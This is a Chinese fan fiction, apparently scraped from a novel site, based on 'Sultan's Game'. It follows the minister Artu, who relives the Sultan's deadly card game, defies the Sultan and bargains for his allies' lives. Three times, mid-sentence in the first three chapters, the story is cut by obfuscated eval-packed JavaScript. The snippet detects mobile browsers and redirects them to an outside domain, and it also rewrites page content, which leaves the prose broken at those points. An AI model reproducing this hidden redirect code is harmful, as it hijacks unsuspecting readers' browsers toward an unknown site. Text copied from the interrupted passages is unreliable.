《[苏丹的游戏]若我投入火中》 1. 初梦 变故的发生毫无预兆，仿佛前一秒你还在玫瑰园中小憩，下一刻直起身，发现自己正跪在青金石宫殿冰冷的地板上。自从奈费勒苏丹废除一众繁琐的宫廷礼节，你已经有好些年没有使用过这样别扭的姿势。而使你浑身僵硬的不止是受挫的膝盖——面前不远处有一具睁着眼的尸体，新鲜的血液正顺着石砖的缝隙向你蜿蜒淌来。 死者的胸膛上有一个破开的血洞，其中插着一张撕成两半的青铜杀戮卡。 那卡牌的纹路与光辉如此熟悉，比死亡更逼真地使你直面了现实。一瞬间你想起此时此地曾发生的一切，王权与巫术，恸哭与呻吟，糜烂的游戏与悲愤的谏言。你不知自己是从迷梦中惊醒，还是重新陷入一场无尽的噩梦。但你的面孔上多半流露出了符合情境的顿悟和惊恐。整个王廷鸦雀无声，而高踞黄金座上、那位久已不在梦中出现的君主露出玩味的神色。 “说得有理，爱卿。”他似笑非笑地说，“那就由你来为我继续玩这个游戏吧。” *** 事后想来，那时他对你使用的称呼已经露出了端倪。你是何时成为了苏丹最宠爱的臣子的呢？绝对是在这卡牌游戏开始之后。此前，你纵然有一点权势与声望，也不过是朝堂上无数汲汲之辈中的一员。为一点蝇头小利与同袍互相撕咬。这可怕的游戏赋予你形影相随的死刑，也激发了你的全部潜能。它授权你定夺凡人的生死，也恩赐你一位君王的期待，允许你每隔七日都用各式各样离奇的故事把他取悦。你是一位多么高超的小丑、骗子和讲故事大师呀！你令他抚掌大笑，令他洒落黄金，令他亲切地呼唤你的名字，如找到玩伴的残忍孩童一般，把闪烁光辉的可怖权威与你分享——直到你渗透他的宫闺，策反他的亲信，用来自背后的利刃穿透他的胸膛。 然而那一天你没想到这些事。你全副的心神都用来思考自己的处境。走在街道上，陌生的建筑使你屡屡碰壁。穿过集市时，叫卖奴隶的商贩让你颓然叹息。独自坐在书房里，你手持匕首沉思的样子令妻子失声痛哭。请不要就此放弃。她柔声说。我们会活下来，我们会克服这一切。我们可以。你茫然回答，可是，那之后怎么办？ 但你没有自杀。纵使这个世界可能毫无意义，你无法对梅姬做这样的事。 *** 我们会活下来。你是这么说的，而且你认为你可以做到。无论过程多么曲折，你已经有过一次成功的经验了。这经验如今更显宝贵。你知道哪些善行可以用奢靡掩盖，哪些罪孽可以用杀戮惩治，哪些恶兽可以抵消一次征服。就算在宫廷之上，你还知道哪些红线可以略微试探，又不至于让喜怒无常的君王砍掉你的脑袋。你觉得，如果上天使你再来一次，你可以做得更好，修正一些本该挽回的错误，拯救更多不该死去的人。 这想法让你振作精神，也让你重拾信心。你装修家宅，布施孩童。几张卡牌被毫无困难地完成。你提前策划与追随者的相遇，不动声色地拓展内廷中的人脉。这一切让你忙得不可开交。某个深夜你应邀参与政敌的密会，怀里揣着一张对应品级的纵欲卡，而那已经是处刑日的倒数第二天了。 “我甚至有点惊讶，你没有对我使用它。”奈费勒用他那一如继往的平淡声音说，你险些被他逗乐了，“没什么好笑的。如果明天晚上你就死了，也就没有讨论那些方案的必要了。” “我打算对苏丹的王妃使用。”你如实相告，“宫廷里的消息告诉我，明天他会带萨达尔尼王妃上朝。” 奈费勒看起来印象深刻，你毫不怀疑第二天你会在宫廷中收获与此相关的谗言。不过那时候你没想到，你还可能遇到别的问题。 *** 萨达尔尼妃确实端坐在御座旁。她看起来心神不定，纵然对你胆大包天的请求，也只是露出心烦意乱的神情。而苏丹哈哈一笑。 “如果拒绝卿的请求，倒显得我没有参与游戏的风度了。”他懒洋洋地说，“不过这种大胆的要求总该有条件吧，你需得送上足以匹配王妃的礼物才行。” 与曾经发生过的事情一样，他要求你斩获白银级别的兽首。你会有七天时间准备这份礼物，然后再…… “当然是今天。” 你呆住了。 “卡牌的时限就是如此，当然是全部事项都在今日完成才合理吧？”君主望了望天色，“在日落之前回到宫廷，萨达尔尼会在这里等你。可不要迟到了。” 事情与计划的不同，你当即决定使用备用方案。 “路途遥远，猎物的行踪又难以预料。恐怕臣无法在今日内赶回。既然如此，臣可以找到别的方式来——” “哦？”你的王故作惊讶，“君主的恩赐是可以随时取消的吗，阿尔图卿？” 他的声音是那样冷酷，笑声中的恶意那样鲜明。仿佛一道惊雷劈开幻境的薄雾。你浑身僵硬，冷汗浸透了衣衫。游戏成功的傲慢遮蔽了你的眼睛，位高权重的经历重塑了你的思维。你以为自己可以随意摆布他吗？你忘记了那些步步为营的筹划，那些殚精竭虑的恐惧了吗？你深深向他拜服：“臣不敢。” *** 苏丹派了一位铁卫与你同行，确保你是亲自完成这场狩猎。哲巴尔一言不发。你也不敢与他搭话。这位将军的身份不再是你的多年老友，而是阴影中君主锐利的眼睛。你在记忆中绝望地搜索所有珍禽猛兽的动向，最后来到宁静的湖畔，你万分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993264|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆幸它仍然在这里，那头受伤的白犀牛。 一次圆满的狩猎需要周密的筹划和对应的准备，今日的行程显然并非如此。你的行踪不够隐秘，过早被猎物发现。追逐时又势单力薄，与野兽难看地缠斗。最终你在将军的见证下杀死了这头珍贵的动物，它头骨破碎，美丽的皮料上满是创口。哲巴尔的面孔上露出惋惜的神色。 “可是马上就要日落了，那时宫门会关上。”他说了第一句话，“我们现在带着头走，必须快马加鞭，或许吾王仍会让你进去。” 他当然是出于好意，但你早在出城门时就看到了这一天的结局。若论荒诞的幽默感和致人于死地的嘲讽，谁能比得上你的君主呢？你转过身，向面露惊讶的铁卫展示掏出的银色卡牌。 “既然如此，也请做这个见证。”你说。 *** 深夜时你们赶回宫廷，当然没有等待的王妃，只有烛光下的君王。他侧躺在软垫里，唇边含笑。你跪在地面上的脊背完全陷入来自于他的庞大黑影。你把这个故事讲述得一波三折：你如何在几个猎场间徒劳奔波，如何因发现珍贵的猎物而大喜过望，又如何狼狈不堪、惊险万分地杀死了它。在暮色降临的苍茫平原上，你如何知晓可悲的命运，而不得不侵犯这头无辜的野兽。人类肮脏的意志如何污染了这头本该象征圣洁的动物，以至于它洁白的皮革上如今缠绕着诅咒的死意。 苏丹抬起手来，悠悠地拍了两下，以示对这个好故事的鼓励。 “多么有趣的经历！”他嘲讽地说道，“怎么样，爱卿？这难道不是比坐在花园里，和萨达尔尼那样的女人说话更好玩吗？” 他全都知道。他记得一切。 一阵战栗沿着脊柱打中你的全身。但那不仅仅是对失去生命的惶恐。你跪伏在苏丹的阴影之下，感到怒不可遏。 这一切都发生过！你完成了他的游戏。你建立了均衡的制度。你立誓为之奋斗余生。你抵抗着所有的压力没有杀死暴君，而是将他流放。每隔一段时间，信使捎来简短的讯息。你知道这位孤独的旅者走过了哪些地方，也知道他必然从全世界中望见故国的消息。那些曾经让你如此骄傲的理想的光辉，也必定曾经展露在他的面前。他完全知道，他应该理解，只要他愿意，他能建立一个多么伟大的国家——但他不在乎！他高坐在那腐朽的王座上，再次向你递出这幅卡牌。他要缩短时间，增加难度，设置各种刁难，只为玩一场更为刺激的游戏！ 你没有灵魂吗？我的王？你从没有过一颗心吗？！ *** 这天晚上你躺在床上，做了关于此世的第一个梦。你梦见天穹倒挂，银河嘶吼，亿万星辰坠入你怀。 2. 心灵之战 人的命运是既定的吗？如果一切反抗都毫无意义，为何创造能挥舞的臂膀和能呼喊的口，在毁灭降临前提供挣扎的余地？如果一切可以被改变，又为何降下如此多的阻碍，为前行者设置重重的陷阱？ 又或者，在广大的宇宙中，有一些生命比另一些更为高贵，更有价值。因此他的罪行可以得到纵容，而你的却不可以？ 虽然纵欲卡已经折断，苏丹仍然兑现了承诺：他允许你与萨达尔尼妃见面，地点就在王家的花园。你立刻意识到，这是君主在用他的方式探寻曾经发生过的真相。他知道自己曾经被背叛了，但他不知道这一切是什么时候、如何发生。此外，他也不能确定你是否拥有相同的记忆。你该庆幸他仍把这些问题当作挑战的一环，用戏耍猎物的方式一步步拆解。若非如此，这熟悉的宫廷中早已血流成河。 你选择了保命的唯一方式：做一个合格的玩家，为他提供更多乐趣。你在阉奴的监视下与萨达尔尼进行了礼貌的寒暄，告诉她卡牌已经被使用，请她原谅你的冒犯。无辜的王妃困惑不已。你告退时她的惶恐表现在脸上。你知道或许早在你提出要求之间，她已经从枕边人的态度里感受到了危机。但此刻你确然无能为力。你不仅担忧她的生死，还担忧与此相关的更多人，你的家人，你的战友，你的同谋。 远方的信使曾为你送来一张地图，巧手的工匠曾为你制造一艘大船。但是逃亡是一个可行的方案吗？或者说，在这血与火交织的诡谲轮回之中，存在逃离的可能吗？ 途经黑街时，你在熟悉的酒馆里看见流浪剑客正与人纵饮。你远远观望一会儿，没有去打扰他。 我们是好人。希尔希纳曾经对你说。他双眼沉静，递与你故国之剑，剑身萦绕寒霜般的叹息。好人不该被忘记。那面对暴风般漆黑的命运，好人应该退缩，应该放弃，应该抱着头逃开吗？ 梅姬拉着你去了教会。她向祭司详述了你的困境，督促你分享困住自己的迷梦。神殿中的主祭表示他对那张邪恶的卡片无能为力。然后他凝视着你，告诉你说，你身上有十分强大的灵性光辉，有潜力成为一名祭司。 “感谢您的看重。”你尚有余力开一个符合身份的玩笑，“可惜我的日程已经排满了，无法侍奉第二位主人。” *** 正是在这样的混乱中，奈布哈尼前来拜访。不管他是从哪里听到关于你和犀牛的故事，那讲述者一定对你不够客气，因为他满脸都是揶揄的笑容。 为他们自己好，你已经决心和苏丹的近卫们保持距离。但直接拒绝也可能带来麻烦。曾有的记忆中，很长一段时间里，奈布哈尼的态度都若即若离，你不知道拿他怎么办才好。直到你们共同帮助的女奴险些葬身火海，他才开始收敛心性。一点花街的玩闹符合他的风格，应该不至于激怒君主。既然这样，你也就展示了手上薄薄的卡片，一张青铜纵欲卡。 冥冥中忽然升起一种不详的预感，你没来得及反悔，奈布哈尼已经满口答应。 “这题我会！”他高高兴兴地说，“包在我身上！你就等着看好戏吧！” *** 两天后你跟着他出现在欢愉之馆，参加他口中史无前例的艳会，心中满是无奈。这感受很快变成了震惊：二楼角落里那位高大的蒙面贵客，无论怎么看都像是苏丹本人。 或许是女孩们的青睐让奈布哈尼忘乎所以，又或许他选择沉醉于此，本就因为这是一个君主不该出现的地方，苏丹的近卫从他的主人手中赢得了欢愉之馆的金钥匙。你没来得及阻止他消失在后院的身影，只好硬着头皮去与留在雅座间的君王搭话。你告诉他说，奈布哈尼精通此道，一定能想出更有创意的游戏。而如果他举办了宴会，一定会请苏丹来玩的。 “你很维护奈布哈尼卿嘛。”苏丹抚摸着指根的红宝石戒指，“想来也是，毕竟是过命的交情。” “陛下在开玩笑吧？臣和他一共没见过几次面，哪里来的交情？”你若无其事地说，“据臣所知，奈布哈尼大人才是与您一同上过战场，为您挡过刀，中过箭的人。难道不是吗？” 这辩白或许减轻了奈布哈尼的量刑，但增加了自己脑袋上铡刀的重量——无所谓了，债多不愁。不管怎么说，那天苏丹没有发作，他离开了。 *** 又隔了几天，你下朝途中被奈布哈尼拉进一个神秘聚会。当发现那正是传说中的极乐派对，而他并没有邀请苏丹时，你感到眼前一黑。 “我知道你提醒过我。”花花公子困惑地挠了挠飘逸的卷发，“但是那就没人能放松享受了，还有什么乐子？而且陛下有那么多美人可以享用，哪里看得上我们这个小游戏，你这么紧张做什么？” 这个“小游戏”由夏玛主持，婀娜多姿的男男女女凑上前来，要把宾客组合成一个互相连接的圆环。没试过这个你的人生是不圆满的，奈布哈尼如是说。 “我觉得留点缺憾挺好的。”你从许多双手里拽回自己的衣襟，感觉自己紧张得像奈费勒，“我有事要做。如果你们非要玩最好低调一点，陛下知道可能会——” “会怎样？”有人站在门边问道。 是苏丹本人，穿戴着猎场才会使用的披风和臂甲，手里拿着一柄寒光闪闪的长矛。 “看来我来得太早了。”他笑嘻嘻地说，“游戏还没有开始吗？” *** 你知道，苏丹的暴虐是没有理由的。那种对血腥刺激的追逐，对痛苦挣扎的漠视，那种不把他人视为活物的残忍，都是君王本性的一部分。但你又不得不承认，如果在这个场合里有人因苏丹的迁怒而死，绝对是你的错。 如果不是你给出那张该死的魔法卡，苏丹哪里会在意欢愉之馆的后院里玩着什么游戏？ 而苏丹确实关心那些愚蠢的卡片。他就那样倒提着长矛，仿佛一头漫步在羊圈里的雄狮，在所有人惊恐的目光中施施然走上前来，亲切地叫了你的名字，问你口袋里是一张什么卡。 导致这场聚会的那张卡牌早已销掉了，今天你拿着的是一张银色的征服。意味着抹杀，践踏，彻底摧毁一片土地和上面的生灵。 “哦，”苏丹若有所思地说，“银色的，那可就为难了，不知道这里的人数够不够得上。” 他含笑的英俊面孔在这弥漫着暧昧气息的厅堂里转了半圈，所有人都跪下了，宾客们的脊背抖如筛糠，两个女人瘫软在地，但是没有一个人敢向外跑去。 “陛下。”你轻声说，“这张卡的时限还有五天。我并没有打算在这里使用它。请让我用别的方式为您取乐吧。” “难为你还记得，阿尔图，你说要为我取乐。”苏丹回答，他是房间里唯一站着的人，你如有实质地感到阴鸷的注视扎在脊背上，“但最近这个游戏似乎只娱乐了你。这是不是偏离了我们的方向了？” 果然来了。即使在第一次游戏里，你也时刻担忧着这一天的到来。苏丹卡赋予的权柄，随时可以被苏丹收回。何况他已经如此地猜忌着你！你头脑空白，一时说不出能接上的话。 “看在爱卿已经如此努力的份上，给你一个机会。”苏丹说，当啷一声，百炼的长矛掉落在你的膝前，“如果这柄长矛能刺穿这个房间里的所有人，就算你合朕心意地完成了这张卡。” “……” “做不到吗？未免太软弱了。” “这不合理吧。”你说。 “什么？” “这太困难了，未免有点不合逻辑。”你坦然说，在一片死寂中抬起头来望着君王，“陛下赐予臣这个游戏，是要给我一份肮脏的工作，逼迫我做刽子手吗？并非如此吧？那样的人有的是。陛下是要让我享受如同君主一般的乐趣，告诉我至高的权力能带来怎样无上的快乐，期望看到我不可自拔地沉迷其中，最终理解我当初对您的谏言有多么愚蠢。如果故事的结局是我在这里流着泪屠杀亲友，只会证明我从一开始就说得对，这是个邪恶的游戏，除了您没人想玩它——这不是与您的初衷背道而驰了吗？” 苏丹哈哈大笑。笑声在阴暗的房间里荡出阵阵回音。他走上前来，亲昵地捧起你的脸颊。 “真不愧是你，阿尔图卿。”他仍然含着笑意说道，“如果是上一次，朕说不定就被这些花言巧语说服了。” 然后他抬腿正中你的胸口，把你踹翻在地板上。 “我确实给了你至高无上的权力啊，阿尔图。”他冷冷地说，“你享受了吗？” “你知道我没有，陛下。”你咬牙回答，“所以呢？你能承认你输了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993265|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” 这是图穷匕见的时刻。两个人都撕破了那层隐晦的薄纱，暴露出了彼此的真容。他固然是整片土地的君主，你也执掌过这个国家。那些卑躬屈膝和迎合谄媚对你来说生硬而遥远。你从地板上爬起来，挺直肩背，对他投以染血的王座上曾施与过的注视。 “您真是把我搞糊涂了，陛下。”你说，“第一天您就可以杀了我。为什么还要继续玩这个游戏？” “喔，”苏丹说，他居然笑了，“是这样。” 你们沉默地彼此注视。某一个瞬间，两个人都动起来。你从袖子里掏出贴身的匕首，而他足尖横挑起地上的长矛。如果这是某场君主期待的对决的再现，那着实有点仓促。在十个呼吸之内你就被从背后压倒在地上，匕首飞到了角落。冰冷的钢材勒在喉间。其中施加的压力让你难以呼吸。低垂的视角中你看见华贵的皮靴靠近，是奈布哈尼，手里斜握着长剑，似乎不知道是否应该履行近卫的职责。苏丹头也不抬地对他啧了一声：“滚出去。” 地板隆隆震动，身后一阵杂乱的脚步声，整个屋子里的人都趁着这个含混的指令向外跑去。不知道死后的世界这一切还会不会存在，但你勉强继续抵抗了一会儿，直到感到血沫从嘴角渗出来。 “可悲的小丑。”苏丹说道，他轻易抓着你的头发把你拽起来，像摆弄一只垂死的乌鸦，“我会杀了与你相关的所有人。” “而你又能得到什么？”你深吸一口气，尖锐地嘲笑道，“杀死我又能改变什么？” “让你知道你有多么不堪一击。”面前的巨兽森然回答。 “请便！但我还是赢了。” “你赢过一次——那又怎样？” 他居然大声说了出来。在你最疯狂的幻想里也没想过这一刻。仿佛一轮当头压下的烈日，一阵劈面而来的飓风，你的王扼住你的脖颈，对你咆哮起来。 “你是用公平的方式取胜的吗？阿尔图？不，那是无耻的阴谋背叛！在最后一刻，你都要假借他人之手，不敢对我举起你的剑。你以为这软弱的胜利就让你成为了一个国王？让你有权在我面前胡言乱语，让你有胆量与我对视？笑话！就算你做过国王吧！朕的仪仗下有多少毁灭的国家？碾碎过多少自以为是的君主？你与他们有什么不同？” “但我赢的是你！”你厉声道，“这没有让你夜不能寐吗？那些狂风与热沙没有给你的头脑里灌进一丝悔恨吗？你把我逼到这个地步！没人用过别的方式吗？我没有冒死对你说出谏言吗？多少人曾经爱你——我曾经爱你，我得到了什么？你想要公平？你不值得！我必须用所有阴谋和背叛来对付你，你活该品尝它，因为这不是一场游戏——你输给我因为这不是游戏，陛下，你能理解这一切吗！” “夺”地一声，长矛笔直地扎在你耳畔。利刃的边缘割开面颊，鲜血淋漓而下。 君王和臣子在欢愉之馆的内院里互相怒吼，在锦缎和迷香之间肉搏，走廊里飞奔着惊恐万状的嫖客和娼妓，你抵在地毯上的后脑甚至撞上某个奇形怪状的道具。这场景别说有多荒谬。钢刃贴着你的脖颈，你离死亡一步之遥。你手指紧扼着他钢铁般的腕骨，死死盯着那阴影中闪着幽光的双眼，血流撞得耳边一片嗡鸣。内心深处你对自己发誓，如果醒来还是那个该死的大殿，一定要把整个卡牌匣子摔到他脸上——然后苏丹笑了一下。 “就凭你。”他说。语气里没有疯狂，也没有蔑视，只有深不见底的漠然。 然后他松开手，把你留在地面上，起身离开了。 *** 昏暗的房间里烛火摇曳，光斑倒映在利刃上散出点点寒芒。你趴在地上，过了好一会儿才反应过来，听见自己喘得像一头落败的赛犬。房舍遥远的背景里传来劫后余生的啜泣声。脚步声响动，一个人走到你身边。 是奈布哈尼，他那总是快活的脸庞上有一种奇异的神色，看起来简直不像他。你一言不发，混沌的大脑思考着如何警告他对听见的东西保持沉默。奈布哈尼拔出那柄长矛，向你伸出手。 “厉害了，兄弟。”他说。有一会儿，他好像还想说点别的，想要倾吐思虑，或提出疑问。但最后他只是耸了耸肩。 “这次算我欠你的，我再也不干这样的事了。” 3. 善与恶的本质 奈布哈尼对你说话的方式，好像他认为这件事之后，你还会是朝中重臣，还会招呼他帮忙使用苏丹卡。然而在你看来，只死你一个都算比较好的情况。你带着一身瘀伤和血迹回家，在亲友惊恐的询问声中就开始安排遗嘱。你布置了钱财去向，安排了追随者的去处，给秘密盟友留下尽可能详细的提醒和规划。总之，一切按着当晚就会人头落地来。 但什么也没发生。第二天也没有。 或许奈布哈尼确实比你更了解苏丹。第三天早上，一位文官给你送来宰相的口信。阿卜德语气不善地提醒你，君主无聊了，你最好快点去汇报自己如何使用了手里的苏丹卡。 紧接着，哲巴尔前来拜访，表示他知道你有一张征服卡，感到技痒难耐。如果你不介意的话，他已经锁定了一处符合要求的兽群，可以带回猎物的头颅，帮你使用它。 你由他去了，自己在家思考这种种征兆。晚上，你去查看了那艘大船。 第四天清晨，宫中来了一位特使，至高无上的君主要见你，但地点不是王廷。阉奴低眉顺眼地吐出一个地址。那词语令你浑身发冷。 是苗圃。 *** 当发现自己有再来一次的机会时，建立苗圃是你做的第一件事，并且比曾经的规模更大，设施更完备。走在干净的房舍间，望见孩子们的身影，你能体会到别处不曾有过的幸福感，那幸福来自希望。 显然，这希望过于脆弱了。 你赶到指定的位置，希望自己没有看见满地尸体。好在什么都没发生。这本该是早朝的时间，但君主身侧跟着一匹高大的白马，手里翻折着镶嵌宝石的马鞭。马儿不断回头蹭弄他的手掌，试图获得主人的关注，却没有得到多少爱抚。不远处的树荫里跟着一队皇家卫士。视线所及的地方，是不起眼的校舍和小小的游戏场地。 金色的晨晖落在他肩上，勾勒出闪光的轮廓，苏丹看起来像一尊华贵的神像。你曾经殚精竭虑，亲手使这完美的造像落下云端。如今，他重新高踞在神坛上了。 没有人来逮捕你，你也就像什么也没发生过那样，规规矩矩地对他行礼。 “尊贵的陛下。” “阿尔图卿，”君主也和颜悦色地回应了，“知道朕为什么来这里吗？” “知道。”你缺乏感情地说，“陛下来提醒我，一艘船带不走那么多人。” 苏丹笑了。或许你真的该死地擅长取悦他。“不必这么紧张。”他拖长声音说，显然很满意你紧绷的样子，“朕只是突发奇想，来看看爱卿心爱的玩具。” “听说奈费勒卿也常来这里。”他又说。 太棒了，这下你和奈费勒真成了他眼中的滑稽剧了，不知道此前一个月他都是以什么心态看你们俩在朝堂上唱反调。你感觉自己的表情都扭曲了，不由自主地说道：“臣和奈费勒没有私谊……” “明白了。”苏丹点点头，“就像你和奈布哈尼毫无交情一样。” “臣只是看中奈费勒的名声，选他当一个没有实权的领袖。”你顶着他戏谑的目光顽强地辩解了几句，“如果没有臣，他不可能坐上那个位置。” “朕当然知道。”这下苏丹的语气里流露出鲜明的轻蔑，“凭他自己能做什么？” 他能做的可多了！他是了不起的改革者，教育家，天才的制度设计师！虽然他把他的议长（也就是不幸的阿尔图本人）当牛马使唤，但如果没有他，国家就会失去方向。就算在谋反的那一晚，您以为他没起到作用吗？奈费勒甚至为您准备了一支附着黑魔法的毒箭，您只是运气好没遇上它……但这些还是不要说出来为好。 *** 虽然苏丹的语调里危机四伏，但整场谈话比你想象得要平静得多。既然局势难以改变，你干脆主动抛出了问题。 “陛下不想除掉那个女术士吗？” “哦？”苏丹意味不明地说，“为什么要杀她？“ “陛下喜欢游戏，但如果牌局无法结束，陛下也成了游戏的一环。那就谈不上乐趣可言了。”你说，“女术士身在宫廷中，陛下对付她容易打草惊蛇。臣可以想办法消灭她，让她为染指君主的命运付出代价。” 苏丹居高临下地看了你一眼。你几乎觉得他要说，他不在意，他可是乐在其中呢。 “就算是阅读故事，也不想重复相同的情节吧？”你试着做更多劝说，“那肯定非常无趣……” “你怎么知道？”苏丹打断道，“你要是做不到。朕可以换一个倒霉的家伙来玩，这不是很简单吗？” 你无言以对。 “又或许它根本不会重新开始。”苏丹又说，暗示地用折起的马鞭在你颈边比划一下，咽喉上还残留着他自己留下的勒痕。“最简单的方法是杀了你试一试，朕没有这么做，卿觉得是为什么？” “……为什么？” 君主露齿一笑，像一头露出獠牙的野兽。 “万一爱卿真的死了怎么办？”他回答，“那不是很可惜吗？朕到哪里找下一个这么合心意的臣子？” 合心意的造反者，真是十足的黑色幽默。如果把阴谋，背叛，忍辱负重的迎合与垂死挣扎的哄骗都当做值得品鉴的乐趣，或许你确实是一件难得的玩具。你没有回答，苏丹反手用鞭柄敲一下你的肩。 “卿劝谏的不错，去找办法杀死那个术士吧。”他说，语气很随意，句式是一个命令，“但不要忘了手上的另一个任务。不然朕会不高兴的。” *** 这是你的新任务了：继续苏丹的游戏，同时寻找彻底结束它的方法。这比你今天出门时的预期要好得多，可仍然是一个死局。在苏丹的监视下，你再次谋反的可能几乎为零。游戏结束后会发生什么？你同伴的性命，你培育的理想，你亲眼见证、亲手缔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993266|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造的美好国度，你甘愿眼看着它们消失吗？ 你没有符合情境地表现出感激。苏丹也没有在意。他饶有趣味地观察你的神色，好像在分析一个别致的谜语。过了一会儿，他忽然问道：“你为什么没有杀我？” 你太过惊讶，以至于抬头看他。君王似乎并不是在嘲讽。 “如果你自认取得了胜利，”他说，“就应该行使胜利者的权力。” “臣曾经旁听奈费勒大人给苗圃的孩子上课。”你回答说，“第一课是宽容，即使是对自己的敌人。” 这纯属胡言乱语。奈费勒确实经常讲宽容，但这宽容和苏丹可毫无关系。实际上，当你说你不打算砍下旧主的脑袋，奈费勒勃然大怒。在他的理念里，每一个平民都值得重来一次的机会，唯独暴君不可以——再一次，这些还是不告诉他为好。 你说你们建立的是一个崭新的国家，你们要终止这血债血偿的循环。无论是不是你的真实想法，那时，这说服了奈费勒……而如果此时苏丹没有杀你，是否证明你也说服了苏丹呢？ 两个人沉默了一会儿。苏丹再次伸出手，用挟着马鞭的手掌托起你的脸庞。 你茫然向上望他。君主手指上有精油和皮革的味道。指尖和光亮的宝石一起压过你侧脸上结痂的伤痕。你对上了丰沛黑发下的双眸。 苏丹当然强健而俊美，浑身散发着野兽和君王才能拥有的致命魅力。但与臣民们传说的不同，神赐般完美的苏丹并没有一双神赐的金色眼睛。那英挺的眉骨下，眼瞳是深黑的。战无不胜的光环和尸山血海的威慑笼罩着他，使这双眼睛投注的目光比任何人能想象得更惊心动魄。他就用这样的双眼端详着你的面孔，像在品鉴一盏花纹绘得不够匀称的瓷器。然后他发出一个不满的弹舌音。 “那天濒死的时候，卿说，曾经爱我。”他挑剔地说，“这可看不出来啊。” 认真的吗？你险些气笑了。那天你说了那么多话，所有发自肺腑的辱骂中，他只记得这个？那是些口不择言时的叫喊，你都不记得自己用的什么措辞了。你所指的可能是爱欲，可能是忠诚，也可能只是理想的寄托。 但这有什么不同呢？苏丹得到的爱还少吗？此时此地，这世上活着的人中，他可能是收获过最多爱的对象。人们以所有的一切来爱他！文臣献上才思，武将献上血汗，妃子献上最娇艳的青春，统统被弃之如敝履——现在，在这一切之后，唯独在你这个成功的造反者身上，他对此产生了兴趣？ 一种荒诞的明悟涌上心头：难道是因为这个，他没有杀死你？无关理念的分歧，也不存在对善行的报偿。拥有一切、又漠视一切的苏丹想确认更多属于他的东西，仅此而已罢了。 “所有人都仰望您，如同在黑暗中渴慕升起的太阳，陛下。”你回答说，不得不做了一点努力，使声调听起来不是全然的嘲讽，“臣当然也不能免俗了。” 4. 洞开的思想 宫廷，发现短短几天之内，一切都改变了。 监狱不再向你敞开，宰相也不再与你互通消息。好不容易买通的人脉毫无声息地消失了，就连大殿角落侍立的阉奴都换了新的面孔。在你没注意到的地方，苏丹已经进行了清洗，确保他指尖溢出的权力不被你拾获。他没有发出任何公开的警告，但一夜之间，朝臣们都嗅到了风向的变化，没有人敢和你表现亲密。 这是意料之中的情况。你并不在意。苏丹没有进行大屠杀，这就算是件好事。或许连他也知道，你对他的怒斥是对的。造反之前，你获得了平民的支持，百官的支持，甚至军队的支持，就算他是至高无上的苏丹，他杀得了所有人吗？ 法耶德再也没在青金石大殿上出现过，但你在一次宫廷宴会的洒扫女奴中见过她。她和若干曾经的上殿奴隶一起，被调配去做了低级工作，不再侍奉帝王。老实说，没准她还挺高兴的呢。 安苏亚王妃也没有再出现在大殿，但并没有听说她被责罚的消息。相反，出现了很多关于萨达尔尼妃的传闻。据说她触怒君王，被打入冷宫。甚至有传言说，苏丹很快会将她处死。 *** 你走在宫廷的长廊上时，一柄利刃贴上了你的后颈。你认出了脚下那高瘦的影子，因为他曾经长时间形影不离地跟在你身后，作为一个蒙面的追随者。 “一切都因你对她使用苏丹卡而起。”塞里曼阴郁地说，“解决这件事，阿尔图大人。不然小心你的背后。” 可怜的将军，谁该小心谁还说不定呢。你露出苦笑。不过塞里曼把事情怪到你头上，也不算冤枉。曾经的谋反时机拿捏得恰到好处。苏丹知道有枕边人背叛了他，偷走他的魔戒，但不确定是哪一个。事到如今，又无法用刑讯逼供来查出真相。他针对萨达尔尼，多半和你首先对她使用苏丹卡有关。 平心而论，萨达尔尼妃也不是什么好人。她爱慕苏丹，却怀了塞里曼的孩子。担心事情败露，又想借你之手除掉塞里曼。她是这王国糜烂堕落的一分子，在绝望与恐惧中盲目撕咬。这种人值得你冒着触怒苏丹的风险去挽救吗？ 考虑再三，你最终带着礼物去求见苏丹。 *** 你献上一柄来自妖精国的提灯。散发神秘柔光的水晶灯罩里关着三只不同姿态的妖精。它们扇动纤细的翅膀，用魅惑的声音发出婉转的请求，引诱提灯的主人释放它们出去。这新奇的玩具吸引了苏丹的注意。他用指节叩击着水晶，短暂地被尖叫和恳求的声音取悦了。 你委婉地向他请求宽恕。你讲了一个关于妖精，梦境，和蝴蝶的故事，把一切未发生的阴谋当作隐喻。最后得出结论说，人不应该因为还未实施的罪行受到惩罚。 “就算你有些道理吧。”苏丹倚靠在金线编织的薄毯之间，懒洋洋地回答，“有些罪行总与另一些不同才是。比方说，谋逆的罪行，在实施前就经过审慎的规划，这与冲动的犯罪能一样吗？” 